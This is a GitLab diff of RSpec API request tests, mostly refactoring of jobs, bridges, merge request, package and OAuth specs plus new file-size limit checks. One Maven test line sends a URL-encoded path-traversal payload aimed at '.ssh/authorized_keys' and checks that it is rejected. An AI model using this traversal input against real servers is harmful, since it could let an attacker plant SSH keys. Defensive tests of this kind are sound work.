- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_an Array
- end
- end
-
- context 'filter jobs with array of scope elements' do
- let(:query) { { scope: %w(pending running) } }
-
- it do
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_an Array
- end
- end
-
- context 'respond 400 when scope contains invalid state' do
- let(:query) { { scope: %w(unknown running) } }
-
- it { expect(response).to have_gitlab_http_status(:bad_request) }
- end
-
- context 'jobs in different pipelines' do
- let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
- let!(:job2) { create(:ci_build, pipeline: pipeline2) }
-
- it 'excludes jobs from other pipelines' do
- json_response.each { |job| expect(job['pipeline']['id']).to eq(pipeline.id) }
- end
- end
-
- context 'when config source not ci' do
- let(:non_ci_config_source) { ::Ci::PipelineEnums.non_ci_config_source_values.first }
- let(:pipeline) do
- create(:ci_pipeline, config_source: non_ci_config_source, project: project)
- end
-
- it 'returns the specified pipeline' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response[0]['pipeline']['sha']).to eq(pipeline.sha.to_s)
- end
- end
-
- it 'avoids N+1 queries' do
- control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
- end.count
-
- create_list(:ci_build, 3, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline)
-
- expect do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
- end.not_to exceed_all_query_limit(control_count)
- end
- end
-
- context 'unauthorized user' do
- context 'when user is not logged in' do
- let(:api_user) { nil }
-
- it 'does not return jobs' do
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- context 'when user is guest' do
- let(:api_user) { guest }
-
- it 'does not return jobs' do
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
- end
- end
-
- describe 'GET /projects/:id/pipelines/:pipeline_id/bridges' do
- let!(:bridge) { create(:ci_bridge, pipeline: pipeline) }
- let(:downstream_pipeline) { create(:ci_pipeline) }
-
- let!(:pipeline_source) do
- create(:ci_sources_pipeline,
- source_pipeline: pipeline,
- source_project: project,
- source_job: bridge,
- pipeline: downstream_pipeline,
- project: downstream_pipeline.project)
- end
-
- let(:query) { Hash.new }
-
- before do |example|
- unless example.metadata[:skip_before_request]
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
- end
- end
-
- context 'authorized user' do
- it 'returns pipeline bridges' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to include_pagination_headers
- expect(json_response).to be_an Array
- end
-
- it 'returns correct values' do
- expect(json_response).not_to be_empty
- expect(json_response.first['commit']['id']).to eq project.commit.id
- expect(json_response.first['id']).to eq bridge.id
- expect(json_response.first['name']).to eq bridge.name
- expect(json_response.first['stage']).to eq bridge.stage
- end
-
- it 'returns pipeline data' do
- json_bridge = json_response.first
-
- expect(json_bridge['pipeline']).not_to be_empty
- expect(json_bridge['pipeline']['id']).to eq bridge.pipeline.id
- expect(json_bridge['pipeline']['ref']).to eq bridge.pipeline.ref
- expect(json_bridge['pipeline']['sha']).to eq bridge.pipeline.sha
- expect(json_bridge['pipeline']['status']).to eq bridge.pipeline.status
- end
-
- it 'returns downstream pipeline data' do
- json_bridge = json_response.first
-
- expect(json_bridge['downstream_pipeline']).not_to be_empty
- expect(json_bridge['downstream_pipeline']['id']).to eq downstream_pipeline.id
- expect(json_bridge['downstream_pipeline']['ref']).to eq downstream_pipeline.ref
- expect(json_bridge['downstream_pipeline']['sha']).to eq downstream_pipeline.sha
- expect(json_bridge['downstream_pipeline']['status']).to eq downstream_pipeline.status
- end
-
- context 'filter bridges' do
- before do
- create_bridge(pipeline, :pending)
- create_bridge(pipeline, :running)
- end
-
- context 'with one scope element' do
- let(:query) { { 'scope' => 'pending' } }
-
- it :skip_before_request do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_an Array
- expect(json_response.count).to eq 1
- expect(json_response.first["status"]).to eq "pending"
- end
- end
-
- context 'with array of scope elements' do
- let(:query) { { scope: %w(pending running) } }
-
- it :skip_before_request do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_an Array
- expect(json_response.count).to eq 2
- json_response.each { |r| expect(%w(pending running).include?(r['status'])).to be true }
- end
- end
- end
-
- context 'respond 400 when scope contains invalid state' do
- let(:query) { { scope: %w(unknown running) } }
-
- it { expect(response).to have_gitlab_http_status(:bad_request) }
- end
-
- context 'bridges in different pipelines' do
- let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
- let!(:bridge2) { create(:ci_bridge, pipeline: pipeline2) }
-
- it 'excludes bridges from other pipelines' do
- json_response.each { |bridge| expect(bridge['pipeline']['id']).to eq(pipeline.id) }
- end
- end
-
- it 'avoids N+1 queries' do
- control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
- end.count
-
- 3.times { create_bridge(pipeline) }
-
- expect do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user), params: query
- end.not_to exceed_all_query_limit(control_count)
- end
- end
-
- context 'unauthorized user' do
- context 'when user is not logged in' do
- let(:api_user) { nil }
-
- it 'does not return bridges' do
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- context 'when user is guest' do
- let(:api_user) { guest }
-
- it 'does not return bridges' do
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'when user has no read access for pipeline' do
- before do
- allow(Ability).to receive(:allowed?).and_call_original
- allow(Ability).to receive(:allowed?).with(api_user, :read_pipeline, pipeline).and_return(false)
- end
-
- it 'does not return bridges' do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user)
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'when user has no read_build access for project' do
- before do
- allow(Ability).to receive(:allowed?).and_call_original
- allow(Ability).to receive(:allowed?).with(api_user, :read_build, project).and_return(false)
- end
-
- it 'does not return bridges' do
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/bridges", api_user)
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
- end
-
- def create_bridge(pipeline, status = :created)
- create(:ci_bridge, status: status, pipeline: pipeline).tap do |bridge|
- downstream_pipeline = create(:ci_pipeline)
- create(:ci_sources_pipeline,
- source_pipeline: pipeline,
- source_project: pipeline.project,
- source_job: bridge,
- pipeline: downstream_pipeline,
- project: downstream_pipeline.project)
- end
- end
- end
-
describe 'GET /projects/:id/jobs/:job_id' do
before do |example|
unless example.metadata[:skip_before_request]
diff --git a/spec/requests/api/maven_packages_spec.rb b/spec/requests/api/maven_packages_spec.rb
index b74887762a2..0a23aed109b 100644
--- a/spec/requests/api/maven_packages_spec.rb
+++ b/spec/requests/api/maven_packages_spec.rb
@@ -283,7 +283,7 @@ RSpec.describe API::MavenPackages do
context 'internal project' do
before do
- group.group_member(user).destroy
+ group.group_member(user).destroy!
project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
end
@@ -542,6 +542,18 @@ RSpec.describe API::MavenPackages do
context 'when params from workhorse are correct' do
let(:params) { { file: file_upload } }
+ context 'file size is too large' do
+ it 'rejects the request' do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.maven_max_file_size + 1)
+ end
+
+ upload_file_with_token(params)
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
it 'rejects a malicious request' do
put api("/projects/#{project.id}/packages/maven/com/example/my-app/#{version}/%2e%2e%2f.ssh%2fauthorized_keys"), params: params, headers: headers_with_token
diff --git a/spec/requests/api/members_spec.rb b/spec/requests/api/members_spec.rb
index 23889912d7a..de52087340c 100644
--- a/spec/requests/api/members_spec.rb
+++ b/spec/requests/api/members_spec.rb
@@ -258,8 +258,8 @@ RSpec.describe API::Members do
it 'does not create the member if group level is higher' do
parent = create(:group)
- group.update(parent: parent)
- project.update(group: group)
+ group.update!(parent: parent)
+ project.update!(group: group)
parent.add_developer(stranger)
post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
@@ -272,8 +272,8 @@ RSpec.describe API::Members do
it 'creates the member if group level is lower' do
parent = create(:group)
- group.update(parent: parent)
- project.update(group: group)
+ group.update!(parent: parent)
+ project.update!(group: group)
parent.add_developer(stranger)
post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
diff --git a/spec/requests/api/merge_request_diffs_spec.rb b/spec/requests/api/merge_request_diffs_spec.rb
index 3f41a7a034d..2e6cbe7bee7 100644
--- a/spec/requests/api/merge_request_diffs_spec.rb
+++ b/spec/requests/api/merge_request_diffs_spec.rb
@@ -8,8 +8,8 @@ RSpec.describe API::MergeRequestDiffs, 'MergeRequestDiffs' do
let!(:project) { merge_request.target_project }
before do
- merge_request.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9')
- merge_request.merge_request_diffs.create(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e')
+ merge_request.merge_request_diffs.create!(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9')
+ merge_request.merge_request_diffs.create!(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e')
project.add_maintainer(user)
end
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index d4c05b4b198..2757c56e0fe 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -5,23 +5,19 @@ require "spec_helper"
RSpec.describe API::MergeRequests do
include ProjectForksHelper
- let(:base_time) { Time.now }
+ let_it_be(:base_time) { Time.now }
let_it_be(:user) { create(:user) }
let_it_be(:user2) { create(:user) }
let_it_be(:admin) { create(:user, :admin) }
- let(:project) { create(:project, :public, :repository, creator: user, namespace: user.namespace, only_allow_merge_if_pipeline_succeeds: false) }
- let(:milestone) { create(:milestone, title: '1.0.0', project: project) }
- let(:milestone1) { create(:milestone, title: '0.9', project: project) }
- let(:merge_request_context_commit) {create(:merge_request_context_commit, message: 'test')}
- let!(:merge_request) { create(:merge_request, :simple, milestone: milestone1, author: user, assignees: [user], merge_request_context_commits: [merge_request_context_commit], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
- let!(:merge_request_closed) { create(:merge_request, state: "closed", milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, title: "Closed test", created_at: base_time + 1.second) }
- let!(:merge_request_merged) { create(:merge_request, state: "merged", author: user, assignees: [user], source_project: project, target_project: project, title: "Merged test", created_at: base_time + 2.seconds, merge_commit_sha: '9999999999999999999999999999999999999999') }
- let!(:merge_request_locked) { create(:merge_request, state: "locked", milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, title: "Locked test", created_at: base_time + 1.second) }
- let!(:note) { create(:note_on_merge_request, author: user, project: project, noteable: merge_request, note: "a comment on a MR") }
- let!(:note2) { create(:note_on_merge_request, author: user, project: project, noteable: merge_request, note: "another comment on a MR") }
+ let_it_be(:project) { create(:project, :public, :repository, creator: user, namespace: user.namespace, only_allow_merge_if_pipeline_succeeds: false) }
+
+ let(:milestone1) { create(:milestone, title: '0.9', project: project) }
+ let(:milestone) { create(:milestone, title: '1.0.0', project: project) }
let(:label) { create(:label, title: 'label', color: '#FFAABB', project: project) }
let(:label2) { create(:label, title: 'a-test', color: '#FFFFFF', project: project) }
+ let(:merge_request) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
+
before do
project.add_reporter(user)
project.add_reporter(user2)
@@ -29,6 +25,16 @@ RSpec.describe API::MergeRequests do
stub_licensed_features(multiple_merge_request_assignees: false)
end
+ shared_context 'with merge requests' do
+ let_it_be(:milestone1) { create(:milestone, title: '0.9', project: project) }
+ let_it_be(:merge_request) { create(:merge_request, :simple, milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
+ let_it_be(:merge_request_closed) { create(:merge_request, state: "closed", milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, title: "Closed test", created_at: base_time + 1.second) }
+ let_it_be(:merge_request_merged) { create(:merge_request, state: "merged", author: user, assignees: [user], source_project: project, target_project: project, title: "Merged test", created_at: base_time + 2.seconds, merge_commit_sha: '9999999999999999999999999999999999999999') }
+ let_it_be(:merge_request_locked) { create(:merge_request, state: "locked", milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, title: "Locked test", created_at: base_time + 1.second) }
+ let_it_be(:note) { create(:note_on_merge_request, author: user, project: project, noteable: merge_request, note: "a comment on a MR") }
+ let_it_be(:note2) { create(:note_on_merge_request, author: user, project: project, noteable: merge_request, note: "another comment on a MR") }
+ end
+
shared_context 'with labels' do
before do
create(:label_link, label: label, target: merge_request)
@@ -68,6 +74,7 @@ RSpec.describe API::MergeRequests do
context 'when merge request is unchecked' do
let(:check_service_class) { MergeRequests::MergeabilityCheckService }
let(:mr_entity) { json_response.find { |mr| mr['id'] == merge_request.id } }
+ let(:merge_request) { create(:merge_request, :simple, author: user, source_project: project, title: "Test") }
before do
merge_request.mark_as_unchecked!
@@ -426,14 +433,13 @@ RSpec.describe API::MergeRequests do
end
context 'NOT params' do
- let(:merge_request2) do
+ let!(:merge_request2) do
create(
:merge_request,
:simple,
milestone: milestone,
author: user,
assignees: [user],
- merge_request_context_commits: [merge_request_context_commit],
source_project: project,
target_project: project,
source_branch: 'what',
@@ -442,6 +448,8 @@ RSpec.describe API::MergeRequests do
)
end
+ let!(:merge_request_context_commit) { create(:merge_request_context_commit, merge_request: merge_request2, message: 'test') }
+
before do
create(:label_link, label: label, target: merge_request)
create(:label_link, label: label2, target: merge_request2)
@@ -527,6 +535,8 @@ RSpec.describe API::MergeRequests do
end
describe 'GET /merge_requests' do
+ include_context 'with merge requests'
+
context 'when unauthenticated' do
it 'returns an array of all merge requests' do
get api('/merge_requests', user), params: { scope: 'all' }
@@ -563,9 +573,9 @@ RSpec.describe API::MergeRequests do
end
context 'when authenticated' do
- let!(:project2) { create(:project, :public, namespace: user.namespace) }
- let!(:merge_request2) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project2, target_project: project2) }
- let(:user2) { create(:user) }
+ let_it_be(:project2) { create(:project, :public, :repository, namespace: user.namespace) }
+ let_it_be(:merge_request2) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project2, target_project: project2) }
+ let_it_be(:user2) { create(:user) }
it 'returns an array of all merge requests except unauthorized ones' do
get api('/merge_requests', user), params: { scope: :all }
@@ -778,8 +788,8 @@ RSpec.describe API::MergeRequests do
end
context 'search params' do
- before do
- merge_request.update(title: 'Search title', description: 'Search description')
+ let_it_be(:merge_request) do
+ create(:merge_request, :simple, author: user, source_project: project, target_project: project, title: 'Search title', description: 'Search description')
end
it 'returns merge requests matching given search string for title' do
@@ -818,6 +828,8 @@ RSpec.describe API::MergeRequests do
end
describe "GET /projects/:id/merge_requests" do
+ include_context 'with merge requests'
+
let(:endpoint_path) { "/projects/#{project.id}/merge_requests" }
it_behaves_like 'merge requests list'
@@ -845,7 +857,9 @@ RSpec.describe API::MergeRequests do
end
context 'a project which enforces all discussions to be resolved' do
- let!(:project) { create(:project, :repository, only_allow_merge_if_all_discussions_are_resolved: true) }
+ let_it_be(:project) { create(:project, :repository, only_allow_merge_if_all_discussions_are_resolved: true) }
+
+ include_context 'with merge requests'
it 'avoids N+1 queries' do
control = ActiveRecord::QueryRecorder.new do
@@ -864,6 +878,9 @@ RSpec.describe API::MergeRequests do
describe "GET /groups/:id/merge_requests" do
let_it_be(:group) { create(:group, :public) }
let_it_be(:project) { create(:project, :public, :repository, creator: user, namespace: group, only_allow_merge_if_pipeline_succeeds: false) }
+
+ include_context 'with merge requests'
+
let(:endpoint_path) { "/groups/#{group.id}/merge_requests" }
before do
@@ -877,6 +894,8 @@ RSpec.describe API::MergeRequests do
let_it_be(:subgroup) { create(:group, parent: group) }
let_it_be(:project) { create(:project, :public, :repository, creator: user, namespace: subgroup, only_allow_merge_if_pipeline_succeeds: false) }
+ include_context 'with merge requests'
+
it_behaves_like 'merge requests list'
end
@@ -893,7 +912,7 @@ RSpec.describe API::MergeRequests do
let(:parent_group) { create(:group) }
before do
- group.update(parent_id: parent_group.id)
+ group.update!(parent_id: parent_group.id)
merge_request_merged.reload
end
@@ -936,6 +955,8 @@ RSpec.describe API::MergeRequests do
end
describe "GET /projects/:id/merge_requests/:merge_request_iid" do
+ let(:merge_request) { create(:merge_request, :simple, author: user, assignees: [user], milestone: milestone, source_project: project, source_branch: 'markdown', title: "Test") }
+
it 'matches json schema' do
merge_request = create(:merge_request, :with_test_reports, milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, title: "Test", created_at: base_time)
get api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user)
@@ -1006,7 +1027,7 @@ RSpec.describe API::MergeRequests do
let(:non_member) { create(:user) }
before do
- merge_request.update(author: non_member)
+ merge_request.update!(author: non_member)
end
it 'exposes first_contribution as true' do
@@ -1059,9 +1080,12 @@ RSpec.describe API::MergeRequests do
end
context 'head_pipeline' do
+ let(:project) { create(:project, :repository) }
+ let(:merge_request) { create(:merge_request, :simple, author: user, source_project: project, source_branch: 'markdown', title: "Test") }
+
before do
- merge_request.update(head_pipeline: create(:ci_pipeline))
- merge_request.project.project_feature.update(builds_access_level: 10)
+ merge_request.update!(head_pipeline: create(:ci_pipeline))
+ merge_request.project.project_feature.update!(builds_access_level: 10)
end
context 'when user can read the pipeline' do
@@ -1188,11 +1212,13 @@ RSpec.describe API::MergeRequests do
describe 'GET /projects/:id/merge_requests/:merge_request_iid/participants' do
it_behaves_like 'issuable participants endpoint' do
- let(:entity) { merge_request }
+ let(:entity) { create(:merge_request, :simple, milestone: milestone1, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
end
end
describe 'GET /projects/:id/merge_requests/:merge_request_iid/commits' do
+ include_context 'with merge requests'
+
it 'returns a 200 when merge request is valid' do
get api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/commits", user)
commit = merge_request.commits.first
@@ -1216,6 +1242,9 @@ RSpec.describe API::MergeRequests do
end
describe 'GET /projects/:id/merge_requests/:merge_request_iid/:context_commits' do
+ let_it_be(:merge_request) { create(:merge_request, :simple, author: user, source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
+ let_it_be(:merge_request_context_commit) { create(:merge_request_context_commit, merge_request: merge_request, message: 'test') }
+
it 'returns a 200 when merge request is valid' do
context_commit = merge_request.context_commits.first
@@ -1234,6 +1263,8 @@ RSpec.describe API::MergeRequests do
end
describe 'GET /projects/:id/merge_requests/:merge_request_iid/changes' do
+ let_it_be(:merge_request) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
+
it 'returns the change information of the merge_request' do
get api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/changes", user)
@@ -1254,6 +1285,8 @@ RSpec.describe API::MergeRequests do
end
describe 'GET /projects/:id/merge_requests/:merge_request_iid/pipelines' do
+ let_it_be(:merge_request) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
+
context 'when authorized' do
let!(:pipeline) { create(:ci_empty_pipeline, project: project, user: user, ref: merge_request.source_branch, sha: merge_request.diff_head_sha) }
let!(:pipeline2) { create(:ci_empty_pipeline, project: project) }
@@ -1308,16 +1341,15 @@ RSpec.describe API::MergeRequests do
})
end
- let(:project) do
+ let_it_be(:project) do
create(:project, :private, :repository,
creator: user,
namespace: user.namespace,
only_allow_merge_if_pipeline_succeeds: false)
end
- let(:merge_request) do
+ let_it_be(:merge_request) do
create(:merge_request, :with_detached_merge_request_pipeline,
- milestone: milestone1,
author: user,
assignees: [user],
source_project: project,
@@ -1351,7 +1383,7 @@ RSpec.describe API::MergeRequests do
end
context 'when the merge request does not exist' do
- let(:merge_request_iid) { 777 }
+ let(:merge_request_iid) { non_existing_record_id }
it 'responds with a blank 404' do
expect { request }.not_to change(Ci::Pipeline, :count)
@@ -1604,7 +1636,7 @@ RSpec.describe API::MergeRequests do
end.to change { MergeRequest.count }.by(0)
expect(response).to have_gitlab_http_status(:conflict)
- expect(json_response['message']).to eq(["Another open merge request already exists for this source branch: !5"])
+ expect(json_response['message']).to eq(["Another open merge request already exists for this source branch: !1"])
end
end
@@ -1659,7 +1691,7 @@ RSpec.describe API::MergeRequests do
end
it 'returns 403 when target project has disabled merge requests' do
- project.project_feature.update(merge_requests_access_level: 0)
+ project.project_feature.update!(merge_requests_access_level: 0)
post api("/projects/#{forked_project.id}/merge_requests", user2),
params: {
@@ -1778,6 +1810,7 @@ RSpec.describe API::MergeRequests do
before do
create(:merge_request_context_commit, merge_request: merge_request, sha: commit.id)
end
+
it 'returns 400 when the context commit is already created' do
post api("/projects/#{project.id}/merge_requests/#{merge_request_iid}/context_commits", authenticated_user), params: params
expect(response).to have_gitlab_http_status(:bad_request)
@@ -1937,7 +1970,9 @@ RSpec.describe API::MergeRequests do
end
describe "PUT /projects/:id/merge_requests/:merge_request_iid/merge", :clean_gitlab_redis_cache do
- let(:pipeline) { create(:ci_pipeline) }
+ let(:project) { create(:project, :repository, namespace: user.namespace) }
+ let(:merge_request) { create(:merge_request, :simple, author: user, source_project: project, source_branch: 'markdown', title: 'Test') }
+ let(:pipeline) { create(:ci_pipeline, project: project) }
it "returns merge_request in case of success" do
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}/merge", user)
@@ -2111,7 +2146,7 @@ RSpec.describe API::MergeRequests do
let(:source_branch) { merge_request.source_branch }
before do
- merge_request.update(merge_params: { 'force_remove_source_branch' => true })
+ merge_request.update!(merge_params: { 'force_remove_source_branch' => true })
end
it 'removes the source branch' do
@@ -2138,7 +2173,7 @@ RSpec.describe API::MergeRequests do
let(:merge_request) { create(:merge_request, :rebased, source_project: project, squash: true) }
before do
- project.update(merge_requests_ff_only_enabled: true)
+ project.update!(merge_requests_ff_only_enabled: true)
end
it "records the squash commit SHA and returns it in the response" do
@@ -2169,9 +2204,7 @@ RSpec.describe API::MergeRequests do
end
context 'when merge-ref is not synced with merge status' do
- before do
- merge_request.update!(merge_status: 'cannot_be_merged')
- end
+ let(:merge_request) { create(:merge_request, :simple, author: user, source_project: project, source_branch: 'markdown', merge_status: 'cannot_be_merged') }
it 'returns 200 if MR can be merged' do
get api(url, user)
@@ -2230,7 +2263,7 @@ RSpec.describe API::MergeRequests do
describe "PUT /projects/:id/merge_requests/:merge_request_iid" do
context 'updates force_remove_source_branch properly' do
it 'sets to false' do
- merge_request.update(merge_params: { 'force_remove_source_branch' => true } )
+ merge_request.update!(merge_params: { 'force_remove_source_branch' => true } )
expect(merge_request.force_remove_source_branch?).to be_truthy
@@ -2242,7 +2275,7 @@ RSpec.describe API::MergeRequests do
end
it 'sets to true' do
- merge_request.update(merge_params: { 'force_remove_source_branch' => false } )
+ merge_request.update!(merge_params: { 'force_remove_source_branch' => false } )
expect(merge_request.force_remove_source_branch?).to be_falsey
@@ -2254,6 +2287,7 @@ RSpec.describe API::MergeRequests do
end
context 'with a merge request across forks' do
+ let(:project) { create(:project, :public, :repository, creator: user, namespace: user.namespace, only_allow_merge_if_pipeline_succeeds: false) }
let(:fork_owner) { create(:user) }
let(:source_project) { fork_project(project, fork_owner) }
let(:target_project) { project }
@@ -2320,12 +2354,46 @@ RSpec.describe API::MergeRequests do
expect(json_response['squash']).to be_truthy
end
- it "returns merge_request with renamed target_branch" do
+ it "updates target_branch and returns merge_request" do
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: { target_branch: "wiki" }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['target_branch']).to eq('wiki')
end
+ context "forked projects" do
+ let_it_be(:user2) { create(:user) }
+ let(:project) { create(:project, :public, :repository) }
+ let!(:forked_project) { fork_project(project, user2, repository: true) }
+ let(:merge_request) do
+ create(:merge_request,
+ source_project: forked_project,
+ target_project: project,
+ source_branch: "fixes")
+ end
+
+ shared_examples "update of allow_collaboration and allow_maintainer_to_push" do |request_value, expected_value|
+ %w[allow_collaboration allow_maintainer_to_push].each do |attr|
+ it "attempts to update #{attr} to #{request_value} and returns #{expected_value} for `allow_collaboration`" do
+ put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user2), params: { attr => request_value }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response["allow_collaboration"]).to eq(expected_value)
+ expect(json_response["allow_maintainer_to_push"]).to eq(expected_value)
+ end
+ end
+ end
+
+ context "when source project is public (i.e. MergeRequest#collaborative_push_possible? == true)" do
+ it_behaves_like "update of allow_collaboration and allow_maintainer_to_push", true, true
+ end
+
+ context "when source project is private (i.e. MergeRequest#collaborative_push_possible? == false)" do
+ let(:project) { create(:project, :private, :repository) }
+
+ it_behaves_like "update of allow_collaboration and allow_maintainer_to_push", true, false
+ end
+ end
+
it "returns merge_request that removes the source branch" do
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: { remove_source_branch: true }
@@ -2717,7 +2785,7 @@ RSpec.describe API::MergeRequests do
end
describe 'Time tracking' do
- let(:issuable) { merge_request }
+ let!(:issuable) { create(:merge_request, :simple, author: user, assignees: [user], source_project: project, target_project: project, source_branch: 'markdown', title: "Test", created_at: base_time) }
include_examples 'time tracking endpoints', 'merge_request'
end
@@ -2726,7 +2794,7 @@ RSpec.describe API::MergeRequests do
merge_request
merge_request.created_at += 1.hour
merge_request.updated_at += 30.minutes
- merge_request.save
+ merge_request.save!
merge_request
end
@@ -2734,7 +2802,7 @@ RSpec.describe API::MergeRequests do
merge_request_closed
merge_request_closed.created_at -= 1.hour
merge_request_closed.updated_at -= 30.minutes
- merge_request_closed.save
+ merge_request_closed.save!
merge_request_closed
end
end
diff --git a/spec/requests/api/notes_spec.rb b/spec/requests/api/notes_spec.rb
index ca4ebd3689f..baab72d106f 100644
--- a/spec/requests/api/notes_spec.rb
+++ b/spec/requests/api/notes_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe API::Notes do
context "issue is confidential" do
before do
- ext_issue.update(confidential: true)
+ ext_issue.update!(confidential: true)
end
it "returns 404" do
@@ -183,7 +183,7 @@ RSpec.describe API::Notes do
context "when issue is confidential" do
before do
- issue.update(confidential: true)
+ issue.update!(confidential: true)
end
it "returns 404" do
diff --git a/spec/requests/api/nuget_packages_spec.rb b/spec/requests/api/nuget_packages_spec.rb
index 87c62ec41c6..62f244c433b 100644
--- a/spec/requests/api/nuget_packages_spec.rb
+++ b/spec/requests/api/nuget_packages_spec.rb
@@ -220,6 +220,18 @@ RSpec.describe API::NugetPackages do
it_behaves_like 'rejects nuget access with unknown project id'
it_behaves_like 'rejects nuget access with invalid project id'
+
+ context 'file size above maximum limit' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_header) }
+
+ before do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.nuget_max_file_size + 1)
+ end
+ end
+
+ it_behaves_like 'returning response status', :bad_request
+ end
end
end
diff --git a/spec/requests/api/oauth_tokens_spec.rb b/spec/requests/api/oauth_tokens_spec.rb
index f5971054b3c..23d5df873d4 100644
--- a/spec/requests/api/oauth_tokens_spec.rb
+++ b/spec/requests/api/oauth_tokens_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'OAuth tokens' do
request_oauth_token(user, client_basic_auth_header(client))
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['error']).to eq('invalid_grant')
end
end
@@ -62,7 +62,7 @@ RSpec.describe 'OAuth tokens' do
request_oauth_token(user, basic_auth_header(client.uid, 'invalid secret'))
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['error']).to eq('invalid_client')
end
end
@@ -72,7 +72,7 @@ RSpec.describe 'OAuth tokens' do
shared_examples 'does not create an access token' do
let(:user) { create(:user) }
- it { expect(response).to have_gitlab_http_status(:unauthorized) }
+ it { expect(response).to have_gitlab_http_status(:bad_request) }
end
context 'when user is blocked' do
diff --git a/spec/requests/api/pages/internal_access_spec.rb b/spec/requests/api/pages/internal_access_spec.rb
index c894a2d3ca4..4ac47f17b7e 100644
--- a/spec/requests/api/pages/internal_access_spec.rb
+++ b/spec/requests/api/pages/internal_access_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe "Internal Project Pages Access" do
with_them do
before do
- project.project_feature.update(pages_access_level: pages_access_level)
+ project.project_feature.update!(pages_access_level: pages_access_level)
end
it "correct return value" do
if !with_user.nil?
diff --git a/spec/requests/api/pages/pages_spec.rb b/spec/requests/api/pages/pages_spec.rb
index 53e732928ff..f4c6de00e40 100644
--- a/spec/requests/api/pages/pages_spec.rb
+++ b/spec/requests/api/pages/pages_spec.rb
@@ -39,7 +39,9 @@ RSpec.describe API::Pages do
expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
- delete api("/projects/#{project.id}/pages", admin )
+ Sidekiq::Testing.inline! do
+ delete api("/projects/#{project.id}/pages", admin )
+ end
expect(project.reload.pages_metadatum.deployed?).to be(false)
